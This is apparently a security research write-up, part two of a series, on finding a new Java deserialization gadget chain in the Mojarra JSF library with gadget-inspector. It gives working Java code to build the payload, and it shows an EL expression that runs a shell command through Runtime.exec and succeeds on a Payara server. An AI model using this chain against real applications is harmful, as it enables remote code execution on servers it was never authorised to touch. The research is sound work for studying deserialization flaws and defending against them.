Finding gadgets like it's 2015: part 2
Looking to improve your skills? Discover our trainings sessions! Learn more.
Introduction
Finding a new sink
❯ find . -name '*.jar' | wc -l
637
gadget-inspector1, can help you in this task. This tool was presented at Blackhat in 2018 by Ian Haken. It aims to find gadgets automatically by analyzing Java byte code. It can run on a jar or a war file and a little bash loop can help sort out our pile of 637 jars. After a night of patience, we got the following results:
❯ wc -l output/* |sort -n
13 output/588-gadget-chains.txt
19 output/473-gadget-chains.txt
23 output/628-gadget-chains.txt
8 output/100-gadget-chains.txt
8 output/101-gadget-chains.txt
8 output/102-gadget-chains.txt
8 output/103-gadget-chains.txt
[...]
❯ cat output/103-gadget-chains.txt
org/apache/log4j/pattern/LogEvent.readObject(Ljava/io/ObjectInputStream;)V (1)
org/apache/log4j/pattern/LogEvent.readLevel(Ljava/io/ObjectInputStream;)V (1)
java/lang/reflect/Method.invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object; (0)
org/apache/log4j/spi/LoggingEvent.readObject(Ljava/io/ObjectInputStream;)V (1)
org/apache/log4j/spi/LoggingEvent.readLevel(Ljava/io/ObjectInputStream;)V (1)
java/lang/reflect/Method.invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object; (0)
static final String TO_LEVEL = "toLevel";
static final Class[] TO_LEVEL_PARAMS = new Class[] {int.class};
[...]
void readLevel(ObjectInputStream ois) throws java.io.IOException, ClassNotFoundException {
[...]
String className = (String) ois.readObject();
[...]
Class clazz = Loader.loadClass(className);
[...]
m = clazz.getDeclaredMethod(TO_LEVEL, TO_LEVEL_PARAMS);
[...]
level = (Level) m.invoke(null, PARAM_ARRAY);
[...]
toLevel method and calls it, since the first parameter of the invoke method is null we can only call a method called toLevel of an arbitrary class which needs to be static... This won't give us arbitrary code execution.
private void readObject(ObjectInputStream is) throws ClassNotFoundException, IOException {
FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class);
is.defaultReadObject();
}
jboss-jsf-api_2.3_spec-3.0.0.SP04.jar:
java/awt/Component.readObject(Ljava/io/ObjectInputStream;)V (1)
java/awt/Component.checkCoalescing()Z (0)
javax/faces/component/UIComponentBase$AttributesMap.get(Ljava/lang/Object;)Ljava/lang/Object; (1)
java/lang/reflect/Method.invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object; (0)
java.awt.Component is an abstract class, so we won't be able to serialize it, but let's look at the end of the payload. The AttributesMap class is private and is defined in the UIComponentBase.java file.get method of the AttributesMap class we :
private static class AttributesMap implements Map<String, Object>, Serializable {
[...]
private transient Map<String, PropertyDescriptor> pdMap;
private transient ConcurrentMap<String, Method> readMap;
private transient UIComponent component;
private static final long serialVersionUID = -6773035086539772945L;
[...]
public Object get(Object keyObj) {
String key = (String) keyObj;
Object result = null;
[...]
Map<String, Object> attributes = (Map<String, Object>) component.getStateHelper().get(PropertyKeys.attributes);
if (null == result) {
PropertyDescriptor pd = getPropertyDescriptor(key);
if (pd != null) {
try {
if (null == readMap) {
readMap = new ConcurrentHashMap<>();
}
Method readMethod = readMap.get(key);
if (null == readMethod) {
readMethod = pd.getReadMethod();
Method putResult = readMap.putIfAbsent(key, readMethod);
if (null != putResult) {
readMethod = putResult;
}
}
if (readMethod != null) {
result = (readMethod.invoke(component, EMPTY_OBJECT_ARRAY));
[...]
getPropertyDescriptor function must return something that is not null. However due to the transient flag, the pdMap attribute will be null, thus returning null:
PropertyDescriptor getPropertyDescriptor(String name) {
if (pdMap != null) {
return (pdMap.get(name));
}
return (null);
}
Furthermore, gadget inspector has pretty broad conditions on those functions it considers interesting. For example, it treats reflection as interesting (i.e. calls toMethod.invoke()where an attacker can control the method), but often times overlooked assertions mean that an attacker can influence the method invoked but does not have complete control. For example, an attacker may be able to invoke the "getError()" method in any class, but not any other method name.
isSink method in the code; we added code like this:
if (method.getClassReference().getName().equals("javax/el/ELProcessor")
&& method.getName().equals("eval")) {
return true;
}
eval method of the ELProcessor class is interesting because it can result in code execution if you control the parameter. We ran the tool multiple times on the 637 libraries, but it didn't find new paths.get function of the AttributesMap there are some interesting pieces of code:
@Override
public Object get(Object keyObj) {
[...]
if (null == result) {
ValueExpression ve = component.getValueExpression(key);
if (ve != null) {
try {
result = ve.getValue(component.getFacesContext().getELContext());
} catch (ELException e) {
throw new FacesException(e);
}
}
}
ValueExpression is an Expression that can get or set a value. In other words and to simplify, a ValueExpression is an object holding EL code which is evaluated when you call getValue on it:
FacesContext ctx = FacesContext.getCurrentInstance();
ELContext elContext = ctx.getELContext();
ExpressionFactory expressionFactory = ctx.getApplication().getExpressionFactory();
String codeExec = "${1+1}";
ValueExpression ve = expressionFactory.createValueExpression(elContext, codeExec, Object.class);
System.out.println(ve.getValue(elContext));
//output:
2
ValueExpression is retrieved from the component attribute, which we control, by calling getValueExpression on it. This means that it's possible to execute arbitrary code thanks to expression language if we manage to call the get method of our AttributesMap.AttributesMap, Java reflection can be used:
private Object constructAttributesMap(UIColumn uiColumn){
try {
Class<?> clazz = Class.forName("javax.faces.component.UIComponentBase$AttributesMap");
Constructor<?> constructor = clazz.getDeclaredConstructors()[0];
constructor.setAccessible(true);
Object attributesMap = constructor.newInstance(uiColumn);
return attributesMap;
[...]
UIColumn object is used because it's an implementation of the UIComponentBase class.
String codeExec = "${1+1}";
ValueExpression ve = expressionFactory.createValueExpression(elContext, codeExec, Object.class);
UIColumn uiColumn = new UIColumn();
uiColumn.setValueExpression("yy",ve);
Map attributesMap = (Map) constructAttributesMap(uiColumn);
System.out.println(attributesMap.get("yy"));
//output
2
AttributesMap with a controlled parameter results in arbitrary code execution.Using an old path
We now need to be able to call the get method off the AttributesMap. Calling get on a map ? We already know how to perform this thanks to CommonCollection 1 and 7. This was described in the previous part of this article. We know that we can't use the CommonCollection1 gadget anymore because it won't work on a recent system. However, we might be able to use some part of the CommonCollection7 gadget chain.
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
Last time we saw that by combining LazyMaps and the Java weak hash method, we were able to perform arbitrary code execution. We added some debug output to the exploit:
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
// Use the colliding Maps as keys in Hashtable
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
// added for debug
System.out.println(lazyMap1.entrySet());
System.out.println(lazyMap2.entrySet());
// Needed to ensure hash collision after previous manipulations
innerMap2.remove("yy");
// added for debug
System.out.println(lazyMap1.entrySet());
System.out.println(lazyMap2.entrySet());
System.out.println(hashtable.entrySet());
The debug output is :
[yy=1]
[zZ=1, yy=yy]
[yy=1]
[zZ=1]
[{zZ=1}=2, {yy=1}=1]
LazyMap with our AttributesMap. The equals function of the AttributesMap behave the same way as that of the AbstractMap, it calls get on the Map passed in parameter so the gadget chain should work with an AttributesMap.
UIColumn uiColumn = constructUiColumn();
Map innerMap1 = (Map) constructAttributesMap(uiColumn);
Map innerMap2 = (Map) constructAttributesMap(uiColumn);
innerMap1.put("yy", 1);
innerMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(innerMap1, 1);
hashtable.put(innerMap2, 2);
System.out.println(innerMap1.entrySet());
System.out.println(innerMap2.entrySet());
innerMap2.remove("yy");
System.out.println(innerMap1.entrySet());
System.out.println(innerMap2.entrySet());
System.out.println(hashtable.entrySet());
[yy=1, zZ=1]
[yy=1, zZ=1]
[zZ=1]
[zZ=1]
[javax.faces.component.UIComponentBase$AttributesMap@f21=2]
AttributesMap it's added to all the AttributesMap of the context. Thus all AttributesMap of a given context have the same elements. However 2 AttributesMap with different elements are needed to make a valid chain. Indeed, if our innerMap1 and innerMap2 equal one another only one will be added to the final Hashtable. This problem doesn't occur with a LazyMap because LazyMap and AttributesMap are differents implementations of the Map interface.Hashtable. This object needs to be an implementation of the Map interface to both trigger the hash collision and call the equals function between our AttributesMap and this object.Hashtable itself is a perfect candidate, as it fulfills all the requirements:
Map innerMap1 = new Hashtable();
Map innerMap2 = (Map) constructAttributesMap(uiColumn);
innerMap1.put("yy", 1);
innerMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(innerMap1, 1);
hashtable.put(innerMap2, 2);
System.out.println(innerMap1.entrySet());
System.out.println(innerMap2.entrySet());
System.out.println(hashtable.entrySet());
[yy=1]
[zZ=1]
[javax.faces.component.UIComponentBase$AttributesMap@f21=2, {yy=1}=1]
[#|2021-05-23T13:03:05.410+0000|SEVERE|Payara 5.2021.3||_ThreadID=81;_ThreadName=http-thread-pool::http-listener-1(1);_TimeMillis=1621774985410;_LevelValue=1000;|
java.lang.ClassNotFoundException: org.jboss.weld.module.web.el.WeldValueExpression
at java.net.URLClassLoader.findClass(URLClassLoader.java:382)
at java.lang.ClassLoader.loadClass(ClassLoader.java:419)
[...]
at javax.faces.component.UIComponentBase$AttributesMap.readObject(UIComponentBase.java:2252)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1184)
ClassNotFoundException error is raised with the class WeldValueExpression. ValueExpression to get arbitrary code execution; the ValueExpression class is an abstract class. In our case the implementation of the ValueExpression class is the WeldValueExpression class:
ValueExpression ve = expressionFactory.createValueExpression(elContext, "${1+1}", Object.class);
System.out.println(ve.getType(elContext).toString());
//output
class org.jboss.weld.module.web.el.WeldValueExpression
WeldValueExpression but can't find the class during the deserialization process; this particular behavior is characteristic of a class loading problem. We tried to serialize a Hashtable with only one element which was a WeldValueExpression to see whether the error occur during the deserialization, but no error was triggered.ValueExpression to the final hashtable. The underlying idea is to make sure that the class is loaded before the system tries to load it from the AttributesMap class:
private Hashtable constructPayload(String elString){
ELContext elContext = ctx.getELContext();
ExpressionFactory expressionFactory = ctx.getApplication().getExpressionFactory();
//dummy ValueExpression
ValueExpression ve = expressionFactory.createValueExpression(elContext, "${1+1}", Object.class);
UIColumn uiColumn = constructUiColumn(elString);
Map innerMap1 = new Hashtable();
Map innerMap2 = (Map) constructAttributesMap(uiColumn);
innerMap1.put("yy", 1);
innerMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
//dummy ValueExpression to resolve class loading problems
hashtable.put(ve, 0);
hashtable.put(innerMap1, 1);
hashtable.put(innerMap2, 2);
return hashtable;
}
ValueExpression can be used:
${true.getClass().forName("java.lang.Runtime").getMethods()[6].invoke(true.getClass().forName("java.lang.Runtime")).exec('bash -c touch$IFS/tmp/pwned')}
root@dcc6d9ab3e9e:/opt/payara# ls /tmp/pwned
/tmp/pwned
Final thoughts
jboss-jsf-api_2.3_spec-3.0.0.SP04.jar library is often used in Java projects and what JSF is ? From Wikipedia:Jakarta Server Faces (JSF; formerly JavaServer Faces) is a Java specification for building component-based user interfaces for web applications and was formalized as a standard through the Java Community Process being part of the Java Platform, Enterprise Edition. It is also a MVC web framework that simplifies construction of user interfaces (UI) for server-based applications by using reusable UI components in a page.
UIComponent class is not serializable but the AttributesMap calls a method during serialization and deserailization to save/restore the UIComponent. However, the _ComponentAttributesMap (the equivalent of AttributesMap for MyFaces) doesn't do this operation, so we can't serialize the _ComponentAttributesMap class with an UIComponent even if the _ComponentAttributesMap class is serializable. The developers of the Mojarra implementation wrote a little comment above the readObject/writeObject functions:
private static class AttributesMap implements Map<String, Object>, Serializable {
[...]
// ----------------------------------------------- Serialization Methods
// This is dependent on serialization occuring with in a
// a Faces request, however, since UIComponentBase.{save,restore}State()
// doesn't actually serialize the AttributesMap, these methods are here
// purely to be good citizens.
private void writeObject(ObjectOutputStream out) throws IOException {
out.writeObject(component.getClass());
// noinspection NonSerializableObjectPassedToObjectStream
out.writeObject(component.saveState(FacesContext.getCurrentInstance()));
}
[...]
Conclusion
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
java.util.Hashtable.equals
javax.faces.component.UIComponentBase$AttributesMap.get
javax.faces.component.UIComponent.getValueExpression
javax.el.ValueExpression.getValue